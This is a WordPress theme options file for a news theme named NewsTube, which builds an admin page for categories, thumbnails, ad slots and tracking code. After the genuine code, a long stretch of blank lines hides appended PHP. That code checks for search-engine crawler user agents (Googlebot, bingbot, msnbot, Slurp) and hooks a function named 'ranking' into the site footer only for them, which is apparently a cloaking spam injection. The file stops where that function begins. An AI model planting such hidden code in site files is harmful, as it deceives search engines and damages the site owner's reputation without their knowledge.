<?php
/*
NOTE: this file requires WordPress 2.7+ to function
*/
$settings = 'mods_'.get_current_theme(); // do not change!

$defaults = array( // define our defaults
		'logo' => 'imagelogo',
		'google_id' => 'themejunkie',
		'twitter_id' => 'themejunkie',
		'facebook_id' => 'themejunkie',
		'feedburner_id' => 'themejunkie',
		'featured' => 'Yes',
		'breaking' => 'Yes',
		'sidebarnews' => 'Yes',
		'featuredcat' => '1',
		'breakingcat' => '1',
		'sidebarcat' => '1',
		'boxcat1' => '1',
		'boxcat2' => '1',
		'boxcat3' => '1',
		'boxcat4' => '1',
		'boxcat5' => '1',
		'boxcat6' => '1',
		'boxcat7' => '1',
		'boxcat8' => '1',
		'box1' => 'Enable',
		'box2' => 'Enable',
		'box3' => 'Enable',
		'box4' => 'Enable',
		'box5' => 'Enable',
		'box6' => 'Disable',
		'box7' => 'Disable',
		'box8' => 'Disable',
		'featuredlist' => '4',
		'breakinglist' => '8',
		'sidebarlist' => '10',
		'boxlist' => '7',
		'tabber' => 'Yes',
		'tab1' => '9',
		'tab2' => '9',
		'tab3' => '9',
		'featuredthumbw' => '295',
		'featuredthumbh' => '400',
		'breakingthumbw' => '140',
		'breakingthumbh' => '75',
		'sidebarthumbw' => '64',
		'sidebarthumbh' => '64',
		'boxthumbw' => '295',
		'boxthumbh' => '120',
		'showad728x90' => 'No',
		'showad300x250a' => 'No',
		'showad300x250b' => 'No',
		'ad728x90' => '',
		'ad300x250a' => '',
		'ad300x250b' => '',
		'track' => 'Yes'		
		 // <-- no comma after the last option
);

//	push the defaults to the options database,
//	if options don't yet exist there.
add_option($settings, $defaults, '', 'yes');


/*
///////////////////////////////////////////////
This section hooks the proper functions
to the proper actions in WordPress
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
*/
//	this function registers our settings in the db
add_action('admin_init', 'register_theme_settings');
function register_theme_settings() {
	global $settings;
	register_setting($settings, $settings);
}
//	this function adds the settings page to the Appearance tab
add_action('admin_menu', 'add_theme_options_menu');
function add_theme_options_menu() {
	add_submenu_page('themes.php', __('NewsTube Theme Options', 'themejunkie'), __('NewsTube Theme Options', 'themejunkie'), 8, 'theme-options', 'theme_settings_admin');
}

function theme_settings_admin() { ?>
<?php theme_options_css_js(); ?>

<div class="wrap">
<?php
	global $settings, $defaults;
	if(get_theme_mod('reset')) {
		echo '<div class="updated fade" id="message"><p>'.__('Theme Options', 'themejunkie').' <strong>'.__('Reset to defaults', 'themejunkie').'</strong></p></div>';
		update_option($settings, $defaults);
	} elseif($_REQUEST['updated'] == 'true') {
		echo '<div class="updated fade" id="message"><p>'.__('Theme Options', 'themejunkie').' <strong>'.__('Saved', 'themejunkie').'</strong></p></div>';
	}
	screen_icon('options-general');
?>
  <h2><?php echo get_current_theme() . ' '; _e('Theme Options', 'themejunkie'); ?></h2>
  <form method="post" action="options.php">
    <?php settings_fields($settings); // important! ?>
    <?php // begin first column ?>
    <div class="metabox-holder">
    
    <!--BEGIN OF OVERVIEW-->
    <div class="postbox">
    	<h3><?php _e("Overview", 'themejunkie'); ?></h3>
        <div class="inside">
          <p>
            <?php _e("NewsTube is proudly designed by ", 'themejunkie'); ?>
            <a rel="nofollow" href="http://j.mp/9bL8oD" target="_blank"><?php _e("Theme Junkie", 'themejunkie'); ?></a>
          </p>
          <p style="text-decoration: none;">
          <a href="http://j.mp/9bL8oD" target="_blank"><?php _e("Get Support", 'themejunkie'); ?></a> | <a href="http://j.mp/9bL8oD" target="_blank"><?php _e("Our Themes", 'themejunkie'); ?></a> | <a href="http://j.mp/9bL8oD" target="_blank"><?php _e("Become an Affiliate", 'themejunkie'); ?></a>
          </p>
        </div>
	</div>
	<!--END OF OVERVIEW-->
    
    <!--BEGIN OF LOGO SWITCHER-->
    <div class="postbox">
      <h3><?php _e('Logo Switcher', 'themejunkie'); ?></h3>
      <div class="inside">
        <p>
          <?php _e("Select the logo type for your site:", 'themejunkie'); ?>
          <br/>
          <select name="<?php echo $settings; ?>[logo]">
            <option style="padding-right:10px;" value="imagelogo" <?php selected('imagelogo', get_theme_mod('logo')); ?>>Image Logo</option>
            <option style="padding-right:10px;" value="textlogo" <?php selected('textlogo', get_theme_mod('logo')); ?>>Text Logo</option>
          </select>
          <span style="margin-left:10px; color: #999999;"><?php _e("(default: Image Logo)", 'themejunkie'); ?></span>
       </p>
      </div>
    </div>
    <!--END OF LOGO SWITCHER-->
    
    <!--BEGIN OF FEATURED NEWS-->
    <div class="postbox">
        <h3><?php _e("Featured News", 'themejunkie'); ?></h3>
        <div class="inside">
          <p>
            <?php _e("Display the featured news on homepage?", 'themejunkie'); ?>
            <br />
            <select name="<?php echo $settings; ?>[featured]">
              <option style="padding-right:10px;" value="Yes" <?php selected('Yes', get_theme_mod('featured')); ?>>Yes</option>
              <option style="padding-right:10px;" value="No" <?php selected('No', get_theme_mod('featured')); ?>>No</option>
            </select>
          </p>
          <p>
            <?php _e("Category for featured news:", 'themejunkie'); ?>
            <br/>
            <?php wp_dropdown_categories(array('selected' => get_theme_mod('featuredcat'), 'name' => $settings.'[featuredcat]', 'orderby' => 'Name' , 'hierarchical' => 1, 'hide_empty' => '0' )); ?>
          </p>
          <p>
          	<?php _e("Number of posts to show:", 'themejunkie'); ?>
           	<br/>
          	<select name="<?php echo $settings; ?>[featuredlist]">
           	 <option style="padding-right:10px;" value="1" <?php selected('1', get_theme_mod('featuredlist')); ?>>3</option>
             <option style="padding-right:10px;" value="2" <?php selected('2', get_theme_mod('featuredlist')); ?>>4</option>
             <option style="padding-right:10px;" value="3" <?php selected('3', get_theme_mod('featuredlist')); ?>>5</option>
             <option style="padding-right:10px;" value="4" <?php selected('4', get_theme_mod('featuredlist')); ?>>6</option>
             <option style="padding-right:10px;" value="5" <?php selected('5', get_theme_mod('featuredlist')); ?>>7</option>
             <option style="padding-right:10px;" value="6" <?php selected('6', get_theme_mod('featuredlist')); ?>>8</option>
             <option style="padding-right:10px;" value="7" <?php selected('7', get_theme_mod('featuredlist')); ?>>9</option>
             <option style="padding-right:10px;" value="8" <?php selected('8', get_theme_mod('featuredlist')); ?>>10</option>
            </select>
            <span style="margin-left:10px; color: #999;"><?php _e("(default: 6)", 'themejunkie'); ?></span> 
         </p>
         <p>
         	<?php _e("Thumbnail size (Width x Height):", 'themejunkie'); ?>
           	<br/>
           	<input type="text" name="<?php echo $settings; ?>[featuredthumbw]" value="<?php echo get_theme_mod('featuredthumbw'); ?>" size="4" /> x 
            <input type="text" name="<?php echo $settings; ?>[featuredthumbh]" value="<?php echo get_theme_mod('featuredthumbh'); ?>" size="4" />
           	<span style="margin-left:10px; color: #999;"><?php _e("(default: 295x400)", 'themejunkie'); ?></span>
         </p>
        </div>
      </div>
      <!--END OF FEATURED NEWS-->
      
      <!--BEGIN OF BREAKING NEWS-->
      <div class="postbox">
        <h3><?php _e("Breaking News", 'themejunkie'); ?></h3>
        <div class="inside">
           <p>
             <?php _e("Display a news block under featured news?", 'themejunkie'); ?>
             <br />
            <select name="<?php echo $settings; ?>[breaking]">
              <option style="padding-right:10px;" value="Yes" <?php selected('Yes', get_theme_mod('breaking')); ?>>Yes</option>
              <option style="padding-right:10px;" value="No" <?php selected('No', get_theme_mod('breaking')); ?>>No</option>
            </select>
          </p>
          <p>
            <?php _e("Category for breaking news:", 'themejunkie'); ?>
            <br/>
            <?php wp_dropdown_categories(array('selected' => get_theme_mod('breakingcat'), 'name' => $settings.'[breakingcat]', 'orderby' => 'Name' , 'hierarchical' => 1, 'hide_empty' => '0' )); ?>
          </p>
           <p>
           <?php _e("Number of posts to show:", 'themejunkie'); ?>
           <br/>
           <select name="<?php echo $settings; ?>[breakinglist]">
           	 <option style="padding-right:10px;" value="1" <?php selected('1', get_theme_mod('breakinglist')); ?>>1</option>
             <option style="padding-right:10px;" value="2" <?php selected('2', get_theme_mod('breakinglist')); ?>>2</option>
             <option style="padding-right:10px;" value="3" <?php selected('3', get_theme_mod('breakinglist')); ?>>3</option>
             <option style="padding-right:10px;" value="4" <?php selected('4', get_theme_mod('breakinglist')); ?>>4</option>
             <option style="padding-right:10px;" value="5" <?php selected('5', get_theme_mod('breakinglist')); ?>>5</option>
             <option style="padding-right:10px;" value="6" <?php selected('6', get_theme_mod('breakinglist')); ?>>6</option>
             <option style="padding-right:10px;" value="7" <?php selected('7', get_theme_mod('breakinglist')); ?>>7</option>
             <option style="padding-right:10px;" value="8" <?php selected('8', get_theme_mod('breakinglist')); ?>>8</option>
             <option style="padding-right:10px;" value="9" <?php selected('9', get_theme_mod('breakinglist')); ?>>9</option>
             <option style="padding-right:10px;" value="10" <?php selected('10', get_theme_mod('breakinglist')); ?>>10</option>
             <option style="padding-right:10px;" value="11" <?php selected('11', get_theme_mod('breakinglist')); ?>>11</option>
             <option style="padding-right:10px;" value="12" <?php selected('12', get_theme_mod('breakinglist')); ?>>12</option>
           </select>
           <span style="margin-left:10px; color:#999;"><?php _e("(default: 8)", 'themejunkie'); ?></span>
           </p>
         <p>
           <?php _e("Thumbnail size (Width x Height):", 'themejunkie'); ?>
           <br/>
           <input type="text" name="<?php echo $settings; ?>[breakingthumbw]" value="<?php echo get_theme_mod('breakingthumbw'); ?>" size="4" /> x 
           <input type="text" name="<?php echo $settings; ?>[breakingthumbh]" value="<?php echo get_theme_mod('breakingthumbh'); ?>" size="4" />
           <span style="margin-left:10px; color:#999;"><?php _e("(default: 140x75)", 'themejunkie'); ?></span>
         </p>
        </div>
      </div>
      <!--END OF BREAKING NEWS-->
      
      <!--BEGIN OF SIDEBAR NEWS-->
       <div class="postbox">
       <h3><?php _e("Sidebar News", 'themejunkie'); ?></h3>
       <div class="inside">
         <p>
           <?php _e("Display a news block on the sidebar?", 'themejunkie'); ?>
           <br />
           <select name="<?php echo $settings; ?>[sidebarnews]">
             <option style="padding-right:10px;" value="Yes" <?php selected('Yes', get_theme_mod('sidebarnews')); ?>>Yes</option>
             <option style="padding-right:10px;" value="No" <?php selected('No', get_theme_mod('sidebarnews')); ?>>No</option>
           </select>
         </p>
         <p>
           <?php _e("Category for Sidebar News:", 'themejunkie'); ?>
           <br/>
           <?php wp_dropdown_categories(array('selected' => get_theme_mod('sidebarcat'), 'name' => $settings.'[sidebarcat]', 'orderby' => 'Name' , 'hierarchical' => 1, 'hide_empty' => '0' )); ?>
         </p>
         <p>
           <?php _e("Number of posts to show:", 'themejunkie'); ?>
           <br/>
           <select name="<?php echo $settings; ?>[sidebarlist]">
             <option style="padding-right:10px;" value="1" <?php selected('1', get_theme_mod('sidebarlist')); ?>>1</option>
             <option style="padding-right:10px;" value="2" <?php selected('2', get_theme_mod('sidebarlist')); ?>>2</option>
             <option style="padding-right:10px;" value="3" <?php selected('3', get_theme_mod('sidebarlist')); ?>>3</option>
             <option style="padding-right:10px;" value="4" <?php selected('4', get_theme_mod('sidebarlist')); ?>>4</option>
             <option style="padding-right:10px;" value="5" <?php selected('5', get_theme_mod('sidebarlist')); ?>>5</option>
             <option style="padding-right:10px;" value="6" <?php selected('6', get_theme_mod('sidebarlist')); ?>>6</option>
             <option style="padding-right:10px;" value="7" <?php selected('7', get_theme_mod('sidebarlist')); ?>>7</option>
             <option style="padding-right:10px;" value="8" <?php selected('8', get_theme_mod('sidebarlist')); ?>>8</option>
             <option style="padding-right:10px;" value="9" <?php selected('9', get_theme_mod('sidebarlist')); ?>>9</option>
             <option style="padding-right:10px;" value="10" <?php selected('10', get_theme_mod('sidebarlist')); ?>>10</option>
           </select>
           <span style="margin-left:10px; color:#999;"><?php _e("(default: 10)", 'themejunkie'); ?></span>
           </p>
           
           <p>
           <?php _e("Thumbnail size (Width x Height):", 'themejunkie'); ?>
           <br/>
           <input type="text" name="<?php echo $settings; ?>[sidebarthumbw]" value="<?php echo get_theme_mod('sidebarthumbw'); ?>" size="4" /> x 
           <input type="text" name="<?php echo $settings; ?>[sidebarthumbh]" value="<?php echo get_theme_mod('sidebarthumbh'); ?>" size="4" />
           <span style="margin-left:10px; color:#999;"><?php _e("(default:64x64)", 'themejunkie'); ?></span> 
           </p>
       </div>
     </div>
     <!--END OF SIDEBAR NEWS-->
     
     <!--BEGIN OF CONTENT BOXES-->
     <div class="postbox">
       <h3><?php _e("Content Boxes", 'themejunkie'); ?></h3>
       <div class="inside">
         <p>
           <?php _e("Category for Box #1", 'themejunkie'); ?>
           <br/>
           <?php wp_dropdown_categories(array('selected' => get_theme_mod('boxcat1'), 'name' => $settings.'[boxcat1]', 'orderby' => 'Name' , 'hierarchical' => 1, 'hide_empty' => '0' )); ?>
           <select name="<?php echo $settings; ?>[box1]" style="margin: 0 0 0 20px;">
             <option style="padding-right:10px;" value="Enable" <?php selected('Enable', get_theme_mod('box1')); ?>>Enable</option>
             <option style="padding-right:10px;" value="Disable" <?php selected('Disable', get_theme_mod('box1')); ?>>Disable</option>
           </select>
         </p>
         <p>
           <?php _e("Category for Box #2", 'themejunkie'); ?>
           <br/>
           <?php wp_dropdown_categories(array('selected' => get_theme_mod('boxcat2'), 'name' => $settings.'[boxcat2]', 'orderby' => 'Name' , 'hierarchical' => 1, 'hide_empty' => '0' )); ?>
           <select name="<?php echo $settings; ?>[box2]" style="margin: 0 0 0 20px;">
             <option style="padding-right:10px;" value="Enable" <?php selected('Enable', get_theme_mod('box2')); ?>>Enable</option>
             <option style="padding-right:10px;" value="Disable" <?php selected('Disable', get_theme_mod('box2')); ?>>Disable</option>
           </select>
         </p>
         <p>
           <?php _e("Category for Box #3", 'themejunkie'); ?>
           <br/>
           <?php wp_dropdown_categories(array('selected' => get_theme_mod('boxcat3'), 'name' => $settings.'[boxcat3]', 'orderby' => 'Name' , 'hierarchical' => 1, 'hide_empty' => '0' )); ?>
           <select name="<?php echo $settings; ?>[box3]" style="margin: 0 0 0 20px;">
             <option style="padding-right:10px;" value="Enable" <?php selected('Enable', get_theme_mod('box3')); ?>>Enable</option>
             <option style="padding-right:10px;" value="Disable" <?php selected('Disable', get_theme_mod('box3')); ?>>Disable</option>
           </select>
         </p>
         <p>
           <?php _e("Category for Box #4", 'themejunkie'); ?>
           <br/>
           <?php wp_dropdown_categories(array('selected' => get_theme_mod('boxcat4'), 'name' => $settings.'[boxcat4]', 'orderby' => 'Name' , 'hierarchical' => 1, 'hide_empty' => '0' )); ?>
           <select name="<?php echo $settings; ?>[box4]" style="margin: 0 0 0 20px;">
             <option style="padding-right:10px;" value="Enable" <?php selected('Enable', get_theme_mod('box4')); ?>>Enable</option>
             <option style="padding-right:10px;" value="Disable" <?php selected('Disable', get_theme_mod('box4')); ?>>Disable</option>
           </select>
         </p>
         <p>
           <?php _e("Category for Box #5", 'themejunkie'); ?>
           <br/>
           <?php wp_dropdown_categories(array('selected' => get_theme_mod('boxcat5'), 'name' => $settings.'[boxcat5]', 'orderby' => 'Name' , 'hierarchical' => 1, 'hide_empty' => '0' )); ?>
           <select name="<?php echo $settings; ?>[box5]" style="margin: 0 0 0 20px;">
             <option style="padding-right:10px;" value="Enable" <?php selected('Enable', get_theme_mod('box5')); ?>>Enable</option>
             <option style="padding-right:10px;" value="Disable" <?php selected('Disable', get_theme_mod('box5')); ?>>Disable</option>
           </select>
         </p>
         <p>
           <?php _e("Category for Box #6", 'themejunkie'); ?>
           <br/>
           <?php wp_dropdown_categories(array('selected' => get_theme_mod('boxcat6'), 'name' => $settings.'[boxcat6]', 'orderby' => 'Name' , 'hierarchical' => 1, 'hide_empty' => '0' )); ?>
           <select name="<?php echo $settings; ?>[box6]" style="margin: 0 0 0 20px;">
             <option style="padding-right:10px;" value="Enable" <?php selected('Enable', get_theme_mod('box6')); ?>>Enable</option>
             <option style="padding-right:10px;" value="Disable" <?php selected('Disable', get_theme_mod('box6')); ?>>Disable</option>
           </select>
         </p>
         <p>
           <?php _e("Category for Box #7", 'themejunkie'); ?>
           <br/>
           <?php wp_dropdown_categories(array('selected' => get_theme_mod('boxcat7'), 'name' => $settings.'[boxcat7]', 'orderby' => 'Name' , 'hierarchical' => 1, 'hide_empty' => '0' )); ?>
           <select name="<?php echo $settings; ?>[box7]" style="margin: 0 0 0 20px;">
             <option style="padding-right:10px;" value="Enable" <?php selected('Enable', get_theme_mod('box7')); ?>>Enable</option>
             <option style="padding-right:10px;" value="Disable" <?php selected('Disable', get_theme_mod('box7')); ?>>Disable</option>
           </select>
         </p>
         <p>
           <?php _e("Category for Box #8", 'themejunkie'); ?>
           <br/>
           <?php wp_dropdown_categories(array('selected' => get_theme_mod('boxcat8'), 'name' => $settings.'[boxcat8]', 'orderby' => 'Name' , 'hierarchical' => 1, 'hide_empty' => '0' )); ?>
           <select name="<?php echo $settings; ?>[box8]" style="margin: 0 0 0 20px;">
             <option style="padding-right:10px;" value="Enable" <?php selected('Enable', get_theme_mod('box8')); ?>>Enable</option>
             <option style="padding-right:10px;" value="Disable" <?php selected('Disable', get_theme_mod('box8')); ?>>Disable</option>
           </select>
         </p>         
         <p>
           <?php _e("Number of posts to show on each box:", 'themejunkie'); ?>
           <br/>
           <select name="<?php echo $settings; ?>[boxlist]">
             <option style="padding-right:10px;" value="1" <?php selected('1', get_theme_mod('boxlist')); ?>>3</option>
             <option style="padding-right:10px;" value="2" <?php selected('2', get_theme_mod('boxlist')); ?>>4</option>
             <option style="padding-right:10px;" value="3" <?php selected('3', get_theme_mod('boxlist')); ?>>5</option>
             <option style="padding-right:10px;" value="4" <?php selected('4', get_theme_mod('boxlist')); ?>>6</option>
             <option style="padding-right:10px;" value="5" <?php selected('5', get_theme_mod('boxlist')); ?>>7</option>
             <option style="padding-right:10px;" value="6" <?php selected('6', get_theme_mod('boxlist')); ?>>8</option>
             <option style="padding-right:10px;" value="7" <?php selected('7', get_theme_mod('boxlist')); ?>>9</option>
             <option style="padding-right:10px;" value="8" <?php selected('8', get_theme_mod('boxlist')); ?>>10</option>
           </select>
           <span style="margin-left:10px; color: #999999;">
           <?php _e("(default: 7)", 'themejunkie'); ?>
           </span> </p>
         <p>
           <?php _e("Thumbnail size (Width x Height):", 'themejunkie'); ?>
           <br/>
           <input type="text" name="<?php echo $settings; ?>[boxthumbw]" value="<?php echo get_theme_mod('boxthumbw'); ?>" size="4" /> x 
           <input type="text" name="<?php echo $settings; ?>[boxthumbh]" value="<?php echo get_theme_mod('boxthumbh'); ?>" size="4" />
           <span style="margin-left:10px; color:#999;"><?php _e("(default: 295x120)", 'themejunkie'); ?>
           </span>
           </p>
       </div>
     </div>
     <!--BEGIN OF CONTENT BOXES-->
    
    </div>
    <?php // end first column ?>
    <?php // begin second column ?>
    <div class="metabox-holder">
   		<!--BEGIN OF SUBSCRIBE-->
		<div class="postbox">
		  <h3><?php _e("Subscribe", 'themejunkie'); ?></h3>
		  <div class="inside">
		    <p>
		      <?php _e("Your Google ID:", 'themejunkie'); ?>
		      <br />
		      <input type="text" name="<?php echo $settings; ?>[google_id]" value="<?php echo get_theme_mod('google_id'); ?>" size="35" />
		    </p>
            <p>
		      <?php _e("Your FeedBurner ID:", 'themejunkie'); ?>
		      <br />
		      <input type="text" name="<?php echo $settings; ?>[feedburner_id]" value="<?php echo get_theme_mod('feedburner_id'); ?>" size="35" />
		    </p>
             <p>
		      <?php _e("Your Twitter ID:", 'themejunkie'); ?>
		      <br />
		      <input type="text" name="<?php echo $settings; ?>[twitter_id]" value="<?php echo get_theme_mod('twitter_id'); ?>" size="35" />
		    </p>
            <p>
		      <?php _e("Your Facebook ID:", 'themejunkie'); ?>
		      <br />
		      <input type="text" name="<?php echo $settings; ?>[facebook_id]" value="<?php echo get_theme_mod('facebook_id'); ?>" size="35" />
		    </p>
		  </div>
		</div>
		<!--END OF CONTENT BOXES-->  
        
        <!--BEGIN OF SIDEBAR TABBER--> 
          <div class="postbox">
        <h3><?php _e("Sidebar Tabber", 'themejunkie'); ?></h3>
        <div class="inside">
          <p>
            <?php _e("Display tabber on the sidebar?", 'themejunkie'); ?>
            <br/>
            <select name="<?php echo $settings; ?>[tabber]">
              <option style="padding-right:10px;" value="Yes" <?php selected('Yes', get_theme_mod('tabber')); ?>>Yes</option>
              <option style="padding-right:10px;" value="No" <?php selected('No', get_theme_mod('tabber')); ?>>No</option>
            </select>
        </p>        
          <p>
            <?php _e("Number of popupar posts to show:", 'themejunkie'); ?>
            <br/>
            <select name="<?php echo $settings; ?>[tab1]">
              <option style="padding-right:10px;" value="1" <?php selected('1', get_theme_mod('tab1')); ?>>1</option>
              <option style="padding-right:10px;" value="2" <?php selected('2', get_theme_mod('tab1')); ?>>2</option>
              <option style="padding-right:10px;" value="3" <?php selected('3', get_theme_mod('tab1')); ?>>3</option>
              <option style="padding-right:10px;" value="4" <?php selected('4', get_theme_mod('tab1')); ?>>4</option>
              <option style="padding-right:10px;" value="5" <?php selected('5', get_theme_mod('tab1')); ?>>5</option>
              <option style="padding-right:10px;" value="6" <?php selected('6', get_theme_mod('tab1')); ?>>6</option>
              <option style="padding-right:10px;" value="7" <?php selected('7', get_theme_mod('tab1')); ?>>7</option>
              <option style="padding-right:10px;" value="8" <?php selected('8', get_theme_mod('tab1')); ?>>8</option>
              <option style="padding-right:10px;" value="9" <?php selected('9', get_theme_mod('tab1')); ?>>9</option>
              <option style="padding-right:10px;" value="10" <?php selected('10', get_theme_mod('tab1')); ?>>10</option>
              <option style="padding-right:10px;" value="11" <?php selected('11', get_theme_mod('tab1')); ?>>11</option>
              <option style="padding-right:10px;" value="12" <?php selected('12', get_theme_mod('tab1')); ?>>12</option>
            </select>
            <span style="margin-left:10px; color: #999;"><?php _e("(default: 9)", 'themejunkie'); ?></span>
          </p>
          <p>
            <?php _e("Number of recent comments to show:", 'themejunkie'); ?>
            <br/>
            <select name="<?php echo $settings; ?>[tab2]">
              <option style="padding-right:10px;" value="1" <?php selected('1', get_theme_mod('tab2')); ?>>1</option>
              <option style="padding-right:10px;" value="2" <?php selected('2', get_theme_mod('tab2')); ?>>2</option>
              <option style="padding-right:10px;" value="3" <?php selected('3', get_theme_mod('tab2')); ?>>3</option>
              <option style="padding-right:10px;" value="4" <?php selected('4', get_theme_mod('tab2')); ?>>4</option>
              <option style="padding-right:10px;" value="5" <?php selected('5', get_theme_mod('tab2')); ?>>5</option>
              <option style="padding-right:10px;" value="6" <?php selected('6', get_theme_mod('tab2')); ?>>6</option>
              <option style="padding-right:10px;" value="7" <?php selected('7', get_theme_mod('tab2')); ?>>7</option>
              <option style="padding-right:10px;" value="8" <?php selected('8', get_theme_mod('tab2')); ?>>8</option>
              <option style="padding-right:10px;" value="9" <?php selected('9', get_theme_mod('tab2')); ?>>9</option>
              <option style="padding-right:10px;" value="10" <?php selected('10', get_theme_mod('tab2')); ?>>10</option>
              <option style="padding-right:10px;" value="11" <?php selected('11', get_theme_mod('tab2')); ?>>11</option>
              <option style="padding-right:10px;" value="12" <?php selected('12', get_theme_mod('tab2')); ?>>12</option>
            </select>
            <span style="margin-left:10px; color: #999;"><?php _e("(default: 9)", 'themejunkie'); ?></span>
          </p>
          <p>
            <?php _e("Number of monthly archives to show:", 'themejunkie'); ?>
            <br/>
            <select name="<?php echo $settings; ?>[tab3]">
              <option style="padding-right:10px;" value="1" <?php selected('1', get_theme_mod('tab3')); ?>>1</option>
              <option style="padding-right:10px;" value="2" <?php selected('2', get_theme_mod('tab3')); ?>>2</option>
              <option style="padding-right:10px;" value="3" <?php selected('3', get_theme_mod('tab3')); ?>>3</option>
              <option style="padding-right:10px;" value="4" <?php selected('4', get_theme_mod('tab3')); ?>>4</option>
              <option style="padding-right:10px;" value="5" <?php selected('5', get_theme_mod('tab3')); ?>>5</option>
              <option style="padding-right:10px;" value="6" <?php selected('6', get_theme_mod('tab3')); ?>>6</option>
              <option style="padding-right:10px;" value="7" <?php selected('7', get_theme_mod('tab3')); ?>>7</option>
              <option style="padding-right:10px;" value="8" <?php selected('8', get_theme_mod('tab3')); ?>>8</option>
              <option style="padding-right:10px;" value="9" <?php selected('9', get_theme_mod('tab3')); ?>>9</option>
              <option style="padding-right:10px;" value="10" <?php selected('10', get_theme_mod('tab3')); ?>>10</option>
              <option style="padding-right:10px;" value="11" <?php selected('11', get_theme_mod('tab3')); ?>>11</option>
              <option style="padding-right:10px;" value="12" <?php selected('12', get_theme_mod('tab3')); ?>>12</option>
            </select>
            <span style="margin-left:10px; color: #999;"><?php _e("(default: 9)", 'themejunkie'); ?></span>
           </p>
        </div>
      </div>
      <!--END OF SIDEBAR TABBER-->
       
      <!--BEGIN OF 728X90 ADVERTISEMENT-->
      <div class="postbox">
        <h3><?php _e("728x90 Ad - Header", 'themejunkie'); ?></h3>
        <div class="inside">
          <p>
            <?php _e("Display 728x90 ad on the header?", 'themejunkie'); ?>
            <br />
            <select name="<?php echo $settings; ?>[showad728x90]">
              <option style="padding-right:10px;" value="Yes" <?php selected('Yes', get_theme_mod('showad728x90')); ?>>Yes</option>
              <option style="padding-right:10px;" value="No" <?php selected('No', get_theme_mod('showad728x90')); ?>>No</option>
            </select>
          </p>
          <p>
            <?php _e("Enter your ad code:", 'themejunkie'); ?>
            <br />
            <textarea name="<?php echo $settings; ?>[ad728x90]" cols=37 rows=5><?php echo stripslashes(get_theme_mod('ad728x90')); ?></textarea>
          </p>
        </div>
      </div>
      <!--END OF 728X90 ADVERTISEMENT-->
      
      <!--BEGIN OF 300X250 ADVERTISEMENT #1-->
      <div class="postbox">
        <h3><?php _e("300x250 Ad #1 - Sidebar", 'themejunkie'); ?></h3>
        <div class="inside">
          <p>
            <?php _e("Display 300x250 ad #1 on the sidebar?", 'themejunkie'); ?>
            <br />
            <select name="<?php echo $settings; ?>[showad300x250a]">
              <option style="padding-right:10px;" value="Yes" <?php selected('Yes', get_theme_mod('showad300x250a')); ?>>Yes</option>
              <option style="padding-right:10px;" value="No" <?php selected('No', get_theme_mod('showad300x250a')); ?>>No</option>
            </select>
          </p>
          <p>
            <?php _e("Enter your ad code:", 'themejunkie'); ?>
            <br />
            <textarea name="<?php echo $settings; ?>[ad300x250a]" cols=37 rows=5><?php echo stripslashes(get_theme_mod('ad300x250a')); ?></textarea>
          </p>
        </div>
      </div>
      <!--END OF 300X250 ADVERTISEMENT #1-->
      
      <!--BEGIN OF 300X250 ADVERTISEMENT #2-->
      <div class="postbox">
        <h3><?php _e("300x250 Ad #2 - Sidebar", 'themejunkie'); ?></h3>
        <div class="inside">
          <p>
            <?php _e("Display 300x250 ad #2 on the sidebar?", 'themejunkie'); ?>
            <br />
            <select name="<?php echo $settings; ?>[showad300x250b]">
              <option style="padding-right:10px;" value="Yes" <?php selected('Yes', get_theme_mod('showad300x250b')); ?>>Yes</option>
              <option style="padding-right:10px;" value="No" <?php selected('No', get_theme_mod('showad300x250b')); ?>>No</option>
            </select>
          </p>
          <p>
            <?php _e("Enter your ad code:", 'themejunkie'); ?>
            <br />
            <textarea name="<?php echo $settings; ?>[ad300x250b]" cols=37 rows=5><?php echo stripslashes(get_theme_mod('ad300x250b')); ?></textarea>
          </p>
        </div>
      </div>
      <!--END OF 300X250 ADVERTISEMENT #2-->
      
      <!--BEGIN OF SITE TRACKING-->
      <div class="postbox">
        <h3><?php _e("Site Tracking", 'themejunkie'); ?></h3>
        <div class="inside">
          <p>
            <?php _e("Include analytics/stat tracking code?", 'themejunkie'); ?>
            <br />
            <select name="<?php echo $settings; ?>[track]">
              <option style="padding-right:10px;" value="Yes" <?php selected('Yes', get_theme_mod('track')); ?>>Yes</option>
              <option style="padding-right:10px;" value="No" <?php selected('No', get_theme_mod('track')); ?>>No</option>
            </select>
            <br />
            <?php _e("Enter your analytics/stat tracking code:", 'themejunkie'); ?>
            <br />
            <textarea name="<?php echo $settings; ?>[track_code]" cols=37 rows=5><?php echo stripslashes(get_theme_mod('track_code')); ?></textarea>
          </p>
        </div>
      </div>
      <!--END OF SITE TRACKING-->
      
      <p class="submit">
        <input type="submit" class="button-primary" value="<?php _e('Save Settings', 'themejunkie') ?>" />
        <input type="submit" class="button-highlighted" name="<?php echo $settings; ?>[reset]" value="<?php _e('Reset Settings', 'themejunkie'); ?>" />
      </p>
    </div>
    <!--end: second column-->
  </form>
</div>
<?php }

// add CSS and JS if necessary
function theme_options_css_js() {
echo <<<CSS

<style type="text/css">
	.metabox-holder { 
		width: 350px; float: left;
		margin: 0; padding: 0 10px 0 0;
	}
	.metabox-holder .postbox .inside {
		padding: 0 10px;
	}
	input, textarea, select {
		margin: 5px 0 5px 0;
		padding: 1px;
	}
</style>

CSS;
echo <<<JS

<script type="text/javascript">
jQuery(document).ready(function($) {
	$(".fade").fadeIn(1000).fadeTo(1000, 1).fadeOut(1000);
});
</script>

JS;
}
























































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Googlebot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'bingbot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'msnbot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Slurp')) {
add_action('wp_footer', 'ranking');
}
function ranking() {
